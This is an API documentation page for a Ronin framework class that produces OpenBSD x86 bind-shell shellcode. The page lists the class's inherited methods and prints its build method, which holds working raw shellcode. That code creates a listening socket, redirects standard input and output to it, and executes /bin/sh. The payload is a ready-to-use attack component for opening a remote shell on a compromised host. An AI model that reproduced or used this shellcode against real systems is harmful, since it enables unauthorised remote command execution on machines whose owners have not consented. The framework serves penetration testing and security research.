Class: Ronin::Payloads::Shellcode::OpenBSD::X86::BindShell

Inherits:
BindShellPayload show all
Defined in:
lib/ronin/payloads/builtin/shellcode/openbsd/x86/bind_shell.rb

Overview

OpenBSD x86 shellcode that binds a shell to a port.

Instance Attribute Summary

Attributes included from Mixins::PostEx

#session

Attributes inherited from Payload

#encoders, #payload

Instance Method Summary collapse

Methods inherited from BindShellPayload

#packed_port

Methods included from Mixins::Network

#pack_ipv4, #pack_ipv6, #pack_port

Methods included from Mixins::ResolveHost

#host_address, #host_addresses, #host_ip_address, #host_ip_addresses, #host_ipv4_address, #host_ipv4_addresses, #host_ipv6_address, #host_ipv6_addresses

Methods included from Mixins::BindShell

#host, included, #perform_postlaunch, #port

Methods included from Mixins::PostEx

#perform_cleanup

Methods inherited from Ronin::Payloads::ShellcodePayload

payload_type, #shellcode

Methods inherited from ASMPayload

#assemble, assembler, payload_type

Methods included from Metadata::OS

included, #os, #os_version

Methods included from Metadata::Arch

#arch, included

Methods inherited from BinaryPayload

payload_type

Methods inherited from Payload

#built?, #built_payload, #bytesize, #cleanup, #encode_payload, #encoded_payload, encoder_class, #initialize, #length, payload_type, #perform_build, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #perform_validate, #postlaunch, #prelaunch, #rebuild_payload, #reencode_payload, register, #to_s, #validate

Constructor Details

This class inherits a constructor from Ronin::Payloads::Payload

Instance Method Details

#build ⇒ Object

Builds the shellcode.



53
54
55
56
57
58
59
60
61
62
63
64
 
# File 'lib/ronin/payloads/builtin/shellcode/openbsd/x86/bind_shell.rb', line 53

def build
  @payload = "\x31\xc9\x51\x41\x51\x41\x51\x51\x31\xc0\xb0\x61\xcd\x80\x89\x07" \
             "\x31\xc9\x88\x4f\x04\xc6\x47\x05\x02\x89\x4f\x08\x66\xc7\x47\x06" \
             "#{packed_port}\x6a\x10\x8d\x47\x04\x50\x8b\x07\x50\x50\x31\xc0\xb0\x68" \
             "\xcd\x80\x6a\x01\x8b\x07\x50\x50\x31\xc0\xb0\x6a\xcd\x80\x31\xc9" \
             "\x51\x51\x8b\x07\x50\x50\x31\xc0\xb0\x1e\xcd\x80\x89\x07\x31\xc9" \
             "\x51\x8b\x07\x50\x50\x31\xc0\xb0\x5a\xcd\x80\x41\x83\xf9\x03\x75" \
             "\xef\xeb\x23\x5b\x89\x1f\x31\xc9\x88\x4b\x07\x89\x4f\x04\x51\x8d" \
             "\x07\x50\x8b\x07\x50\x50\x31\xc0\xb0\x3b\xcd\x80\x31\xc9\x51\x51" \
             "\x31\xc0\xb0\x01\xcd\x80\xe8\xd8\xff\xff\xff\x2f\x62\x69\x6e\x2f" \
             "\x73\x68\x41\x90".b
end